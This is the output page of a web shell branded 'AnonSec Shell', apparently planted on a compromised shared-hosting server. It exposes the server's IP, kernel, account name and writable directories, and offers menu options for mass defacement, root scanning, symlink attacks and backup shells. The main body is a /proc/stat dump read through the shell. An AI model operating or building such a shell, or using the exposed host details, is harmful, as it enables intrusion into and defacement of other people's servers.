AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.225.57.173   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root//proc/stat
cpu  7185219508 92547897 2139966089 2128734416 688686266 187994411 243047846 739329559 0 0
cpu0 327820172 4211152 97249709 96952475 31871927 6842437 10903522 33178373 0 0
cpu1 327978420 4214245 97312758 96917355 31909500 6750444 10717418 33189663 0 0
cpu2 328617817 4225483 97374737 96397186 31834848 6761335 10635831 33055693 0 0
cpu3 328257976 4229538 97417947 96644755 31888060 6758913 10610257 33110820 0 0
cpu4 329762184 4240754 97154997 96349245 31951518 6753782 9570289 32999574 0 0
cpu5 329869627 4231504 97155478 96315066 31927455 6759354 9540410 32976814 0 0
cpu6 329512025 4228662 97250641 96454281 31984292 6760433 9548091 33015983 0 0
cpu7 329920362 4202969 97123336 96270473 31989009 6781983 9513293 32958377 0 0
cpu8 328620484 4220962 97427630 96395447 31848966 6764131 10551187 33021500 0 0
cpu9 325932567 4235531 97173938 98164168 32571317 6746973 10605676 33672825 0 0
cpu10 318903607 4148946 92729877 97513667 28600218 24728656 9015687 39003778 0 0
cpu11 314255526 4098205 100045542 98581413 30180896 8052693 18585433 35997399 0 0
cpu12 319105510 4117052 100347668 96443237 30243492 8189580 17843740 32269456 0 0
cpu13 328837367 4232473 97405177 96576149 31539972 6753308 10557163 32908411 0 0
cpu14 324380182 4195562 98439474 96644167 30975999 7299618 13379725 33416759 0 0
cpu15 326973128 4228723 98333235 96201157 31157042 7363152 11819758 32377893 0 0
cpu16 328544276 4217066 97608950 96611100 31543981 6896921 10544843 32831986 0 0
cpu17 328892531 4214155 97389413 96583536 31544685 6739367 10538132 32887982 0 0
cpu18 329069375 4205300 97380523 96429772 31526078 6745649 10544161 32884317 0 0
cpu19 328595486 4221422 97500582 96718875 31564417 6735190 10540291 32948263 0 0
cpu20 330215386 4221469 97146084 96451877 31633722 6714761 9494623 32842207 0 0
cpu21 321155490 4206713 92998385 97119002 28398862 24095723 7988305 37781474 0 0
intr 129833509804 210 9 0 0 353 0 0 0 0 0 0 0 210 0 5835082 0 0 0 0 0 0 0 0 0 0 0 0 316301009 349032647 0 1423975999 2768181006 0 2583888162 2563779321 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 150453917761
btime 1733043156
processes 448047754
procs_running 66
procs_blocked 19
softirq 115982043572 1 2021553906 1899 1488472201 914126476 0 637583857 2251585328 4873267 1289664237

Anon7 - 2022
AnonSec Team